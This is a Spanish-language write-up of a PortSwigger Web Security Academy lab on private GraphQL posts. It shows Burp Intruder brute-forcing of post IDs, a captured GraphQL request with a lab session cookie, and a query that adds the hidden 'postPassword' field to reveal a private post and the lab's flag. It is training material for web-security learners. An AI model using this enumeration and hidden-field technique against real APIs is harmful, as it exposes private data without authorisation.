---
title: "Writeup Acceso a posts GraphQL privados — PortSwigger Web Security Academy"
machine: "Acceso a posts GraphQL privados"
platform: "PortSwigger Web Security Academy"
difficulty: "Fácil"
operating_system: ["Linux"]
tags: ["web", "graphql"]
author: "juanluismm520"
author_url: "https://writeups.es/u/juanluismm520"
source: "https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-05-24T17:06:46.758048+00:00"
updated: "2026-08-14T18:15:44.659871+00:00"
words: 213
reading_minutes: 1
---# Acceso a posts GraphQL privados — PortSwigger Web Security Academy

# Acceso a posts GraphQL privados

> Plataforma: **PortSwigger Web Security Academy** | Dificultad: **Fácil** | IP: `<IP>`

---

## 📝 Resumen

Máquina de tipo **facil** en la que se tiene un post de un blog que contiene una contraseña secreta. Simplemente hay que encontrar el post. 

## 🔍 Empezamos el lab

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/9eefcbb7-b2c6-4775-a727-19c877a8c2be.webp)

Vemos un simple blog que contiene varios post
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/3797306d-06be-41fa-9da0-e86dd177245e.webp)

¿Qué pasa si simplemente cambiamos la url?
`https://0aea00760485da8580607b1600f600a2.web-security-academy.net/post?postId=1`

Si nos vamos al intruder de burp nos permite hacer fuerza bruta númerica a los postId, hasta encontrar el oculto. A simple vista, solo he visto el post 1, 2, 4 y 5. Pruebo con el 3 pero me dice "Not found". 

### Intruder de Brup
Haremos fuerza bruta desde el post 1 al 300
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/034086ce-95ba-4a63-b4ec-050f40dc57be.webp)

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/f94a9d61-de68-405e-b7ef-55a17edc5907.webp)

Parece que no encuentra nada, pues ordenando por longitud nos aparece lo que ya teníamos. Puesto que el lab es de GraphQL vamos a investigar por otro lado. 

Si intercepto la petición que llama a un post y analizo la response, me da varias responses. Una de ellas es

```http
POST /graphql/v1 HTTP/1.1
Host: 0aea00760485da8580607b1600f600a2.web-security-academy.net
Cookie: session=8A4ylFwfHOFAh9CkS6NxYaOxS1bTgzcG
Content-Length: 249
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-ES,es;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Origin: https://0aea00760485da8580607b1600f600a2.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aea00760485da8580607b1600f600a2.web-security-academy.net/post?postId=4
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

{"query":"\n    query getBlogPost($id: Int!) {\n        getBlogPost(id: $id) {\n            image\n            title\n            author\n            date\n            paragraphs\n        }\n    }","operationName":"getBlogPost","variables":{"id":3}}
```

Volvemos al intruder pero está vez con esta petición. Nos sale un post oculto, pero sin contraseña. 

**Hacemos click derecho  en el repeater GraphQL -> Set Introspection Query** Y ahora si, con ayuda de una IA obtenemos esta query

```http
{
  "query": "query getBlogPost($id: Int!) { getBlogPost(id: $id) { image title author date paragraphs isPrivate postPassword } }",
  "operationName": "getBlogPost",
  "variables": { "id": 3 }
}
```

Que esta vez si nos da la flag: yw4lq18vtp2c6fccztsd4xlk913dxaxf

---

> Writeup de **juanluismm520** publicado en [writeups.es](https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
